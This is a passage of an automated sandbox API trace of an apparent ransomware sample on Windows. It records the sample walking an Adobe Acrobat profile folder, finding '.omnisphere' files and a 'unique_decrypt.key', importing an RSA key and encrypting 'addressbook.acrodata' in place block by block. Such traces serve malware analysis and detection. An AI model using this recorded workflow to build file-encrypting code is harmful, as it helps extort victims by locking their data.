cAlternateFileName="GLOBDA~1.OMN")) returned 1 [0080.670] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1129cf14, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1129cf14, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1129cf14, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1639ec8, dwReserved1=0x1600000, cFileName="GlobData.omnisphere.id", cAlternateFileName="GLOBDA~1.ID")) returned 1 [0080.670] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89495bf, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xe89495bf, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x112c302c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x53c, dwReserved0=0x1639ec8, dwReserved1=0x1600000, cFileName="GlobSettings.omnisphere", cAlternateFileName="GLOBSE~1.OMN")) returned 1 [0080.670] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x112c302c, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x112c302c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x112c302c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x1639ec8, dwReserved1=0x1600000, cFileName="GlobSettings.omnisphere.id", cAlternateFileName="GLOBSE~1.ID")) returned 1 [0080.670] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x112c302c, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x112c302c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x112e9359, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x1639ec8, dwReserved1=0x1600000, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0080.670] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x112c302c, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x112c302c, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x112e9359, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x1639ec8, dwReserved1=0x1600000, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0080.670] FindClose (in: hFindFile=0x1639568 | out: hFindFile=0x1639568) returned 1 [0080.670] GetProcessHeap () returned 0x1600000 [0080.671] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1633408 | out: hHeap=0x1600000) returned 1 [0080.671] GetProcessHeap () returned 0x1600000 [0080.671] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16688a0 | out: hHeap=0x1600000) returned 1 [0080.671] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c7194c4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 1 [0080.671] GetProcessHeap () returned 0x1600000 [0080.671] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x82) returned 0x1633408 [0080.671] PathCombineW (in: pszDest=0x1633408, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC", pszFile="Security" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security" [0080.671] GetProcessHeap () returned 0x1600000 [0080.671] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x86) returned 0x16339a8 [0080.671] PathCombineW (in: pszDest=0x16339a8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\*" [0080.671] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\*", lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c7194c4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd4, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0080.671] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5bd69dbd, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c7194c4, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xd4, cFileName="..", cAlternateFileName="")) returned 1 [0080.671] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c7194c4, ftCreationTime.dwHighDateTime=0x1d35e02, ftLastAccessTime.dwLowDateTime=0x5c7194c4, ftLastAccessTime.dwHighDateTime=0x1d35e02, ftLastWriteTime.dwLowDateTime=0x5c78bbf1, ftLastWriteTime.dwHighDateTime=0x1d35e02, nFileSizeHigh=0x0, nFileSizeLow=0x1ebe, dwReserved0=0x0, dwReserved1=0xd4, cFileName="addressbook.acrodata", cAlternateFileName="ADDRES~1.ACR")) returned 1 [0080.671] GetProcessHeap () returned 0x1600000 [0080.671] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xac) returned 0x1631740 [0080.671] PathCombineW (in: pszDest=0x1631740, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security", pszFile="addressbook.acrodata" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata" [0080.671] StrStrW (lpFirst=".omnisphere", lpSrch=".acrodata") returned 0x0 [0080.671] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\addressbook.acrodata" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\adobe\\acrobat\\dc\\security\\addressbook.acrodata"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0080.672] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=7870) returned 1 [0080.672] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x199a, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0080.672] ReadFile (in: hFile=0x3a8, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0080.797] GetTickCount () returned 0x115468b [0080.797] GetTickCount () returned 0x115468b [0080.797] GetTickCount () returned 0x115468b [0080.797] GetTickCount () returned 0x115468b [0080.797] GetTickCount () returned 0x115468b [0080.797] GetTickCount () returned 0x115468b [0080.797] GetTickCount () returned 0x115468b [0080.797] GetTickCount () returned 0x115468b [0080.797] GetTickCount () returned 0x115468b [0080.797] GetTickCount () returned 0x115468b [0080.797] GetTickCount () returned 0x115468b [0080.798] GetTickCount () returned 0x115468b [0080.798] GetTickCount () returned 0x115468b [0080.798] GetTickCount () returned 0x115468b [0080.798] GetTickCount () returned 0x115468b [0080.798] GetTickCount () returned 0x115468b [0080.798] GetTickCount () returned 0x115468b [0080.798] GetTickCount () returned 0x115468b [0080.798] GetTickCount () returned 0x115468b [0080.798] GetTickCount () returned 0x115468b [0080.798] GetTickCount () returned 0x115468b [0080.798] GetTickCount () returned 0x115468b [0080.798] GetTickCount () returned 0x115468b [0080.798] GetTickCount () returned 0x115468b [0080.798] GetTickCount () returned 0x115468b [0080.798] GetTickCount () returned 0x115468b [0080.798] GetTickCount () returned 0x115468b [0080.798] GetTickCount () returned 0x115468b [0080.798] GetTickCount () returned 0x115468b [0080.798] GetTickCount () returned 0x115468b [0080.798] GetTickCount () returned 0x115468b [0080.798] GetTickCount () returned 0x115468b [0080.798] CryptAcquireContextW (in: phProv=0x3e0cd58, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0cd58*=0x16682c8) returned 1 [0080.799] CryptImportKey (in: hProv=0x16682c8, pbData=0x3e0ccc0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd64 | out: phKey=0x3e0cd64*=0x1639b28) returned 1 [0080.799] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0080.799] CryptDestroyKey (hKey=0x1639b28) returned 1 [0080.799] CryptReleaseContext (hProv=0x16682c8, dwFlags=0x0) returned 1 [0080.799] CreateFileMappingW (hFile=0x3a8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ebe, lpName=0x0) returned 0x3c0 [0080.799] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ebe) returned 0x3430000 [0080.803] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x1669230) returned 1 [0080.804] CryptImportKey (in: hProv=0x1669230, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x16396a8) returned 1 [0080.804] CryptSetKeyParam (hKey=0x16396a8, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0080.804] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0080.804] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.804] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.804] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.804] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.805] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.805] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.805] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.805] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.805] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.805] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.805] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.805] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.805] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.805] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.805] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.806] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.806] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.806] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.806] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.806] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.806] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.806] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.806] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.806] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.806] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.806] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.806] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.806] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.806] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.807] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.807] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.807] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.807] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.807] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.807] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.807] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.807] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.807] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.807] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.807] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.807] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.807] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.807] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.807] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.807] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.807] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.807] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.807] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.807] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.808] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.808] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.808] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.808] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.808] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.808] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.808] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.808] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.808] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.808] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0080.808] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, 